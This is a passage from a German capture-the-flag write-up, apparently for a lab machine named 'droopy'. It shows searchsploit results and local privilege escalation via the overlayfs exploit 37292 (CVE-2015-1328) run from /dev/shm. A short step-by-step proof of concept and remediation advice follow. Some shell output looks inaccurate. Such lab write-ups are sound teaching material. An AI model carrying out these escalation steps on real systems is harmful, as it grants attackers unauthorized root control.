Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege | linux/local/44298.c
Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter tar | linux_x86-64/local/44300.c
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - | linux/local/43418.c
Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux M | linux/local/47169.c
Linux Kernel < 4.5.1 - ff-By-ne (PoC) | linux/dos/44301.c
macOS < 10.14.3 / iOS < 12.1.3 - Kernel Heap Overflow in PF | multiple/dos/46300.c
Sony Playstation 4 (PS4) < 7.02 / FreeBSD 9 / FreeBSD 12 - | hardware/local/48644.c

Analyse: Sucht mit `searchsploit` nach Exploits, die den Kernel 3.13 betreffen. Die Ausgabe zeigt eine Liste von potenziellen Exploits.

Bewertung: Diese Suche bestätigt, dass es bekannte Schwachstellen im Kernel 3.13 gibt, die für die Privilege Escalation ausgenutzt werden könnten.

Empfehlung: Überprüfen Sie die aufgelisteten Exploits und wählen Sie einen aus, der für das Zielsystem geeignet ist.

┌──(root㉿CCat)-[~]
└─# searchsploit -m linux/local/37292.c
Exploit: Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation
URL: https://www.exploit-db.com/exploits/37292
Path: /usr/share/exploitdb/exploits/linux/local/37292.c
Codes: CVE-2015-1328
Verified: True
File Type: C source, ASCII text, with very long lines (466)
Copied to: /root/37292.c

Analyse: Kopiert das Exploit `37292.c` in das Home-Verzeichnis des Root-Benutzers. Dieses Exploit betrifft eine Schwachstelle im OverlayFS-Dateisystem und ermöglicht eine lokale Privilege Escalation.

Bewertung: Die Tatsache, dass das Exploit als "Verified" gekennzeichnet ist, erhöht die Wahrscheinlichkeit, dass es erfolgreich ist.

Empfehlung: Überprüfen Sie den Quellcode des Exploits, um sicherzustellen, dass er keine schädlichen Funktionen enthält.

www-data@droopy:/dev/shm$ chmod +x 37292

Analyse: Macht die Datei `37292` ausführbar.

Bewertung: Dieser Schritt ist notwendig, um das kompilierte Exploit auszuführen.

Empfehlung: Überprüfen Sie die Berechtigungen der ausführbaren Dateien im Verzeichnis `/dev/shm` regelmäßig.

www-data@droopy:/dev/shm$ ./37292
root@droopy:/dev/shm$#

Analyse: Führt das Exploit `37292` aus. Die Prompt-Änderung zu `root@droopy:/dev/shm$#` zeigt, dass die Privilege Escalation erfolgreich war und der Benutzer nun Root-Rechte hat.

Bewertung: Dies ist ein kritischer Fehler, da der Angreifer nun die vollständige Kontrolle über das System hat.

Empfehlung: Beheben Sie die Schwachstelle im OverlayFS-Dateisystem und implementieren Sie zusätzliche Sicherheitsmaßnahmen, um Privilege Escalation zu verhindern.

www-data@droopy:/dev/shm$ id
root

Analyse: Bestätigt, dass der aktuelle Benutzer Root-Rechte hat.

Bewertung: Wir sind jetzt als `root` angemeldet.

Proof of Concept: Privilege Escalation durch Ausnutzung der OverlayFS-Schwachstelle

Ziel:

Dieser Proof of Concept (POC) demonstriert, wie die identifizierte OverlayFS-Schwachstelle (CVE-2015-1328) ausgenutzt werden kann, um unbefugten Root-Zugriff auf das System zu erlangen. Dies dient als praktischer Beweis für die Realisierbarkeit des Angriffs und unterstreicht die Notwendigkeit, die Schwachstelle zu beheben.

Kurzbeschreibung:

Die OverlayFS-Schwachstelle ermöglicht es einem lokalen Angreifer, Root-Rechte zu erlangen, indem er ein speziell präpariertes OverlayFS-Dateisystem mountet. Durch die Ausnutzung dieser Schwachstelle kann ein nicht privilegierter Benutzer beliebigen Code mit Root-Rechten ausführen.

Voraussetzungen:

  • Zugriff auf eine Shell-Sitzung mit einem nicht privilegierten Benutzer (in diesem Fall `www-data`).
  • Vorhandensein des kompilierten Exploits `37292` im Verzeichnis `/dev/shm`.

Schritt-für-Schritt-Anleitung:

  1. Wechseln Sie in das Verzeichnis `/dev/shm`, in dem sich das Exploit befindet:
www-data@droopy:/var/www/html$ cd /dev/shm

2. Führen Sie das Exploit aus:

www-data@droopy:/dev/shm$ ./37292

3. Überprüfen Sie die Benutzer-ID:

www-data@droopy:/dev/shm$ id
root

Erwartetes Ergebnis:

Nach der Ausführung des Exploits sollte sich die Prompt ändern und der Befehl `id` sollte anzeigen, dass der aktuelle Benutzer Root-Rechte hat.

Beweismittel:

Die Ausgabe des Befehls `id` (siehe oben) beweist, dass die Privilege Escalation erfolgreich war.

Risikobewertung:

Die Ausnutzung dieser Schwachstelle ermöglicht es einem Angreifer, die vollständige Kontrolle über das System zu erlangen. Dies kann zu schwerwiegenden Schäden führen, wie z. B. Datenverlust, Systemausfall oder unbefugter Zugriff auf sensible Informationen.

Empfehlungen:

  • Installieren Sie die neuesten Sicherheitsupdates, um die OverlayFS-Schwachstelle zu beheben.
  • Implementieren Sie zusätzliche Sicherheitsmaßnahmen, um Privilege Escalation zu verhindern, wie z. B. die Beschränkung der Berechtigungen für nicht privilegierte Benutzer und die Überwachung des Systems auf verdächtige Aktivitäten.

Flags

cat user.txt userflag
cat root.txt rootflag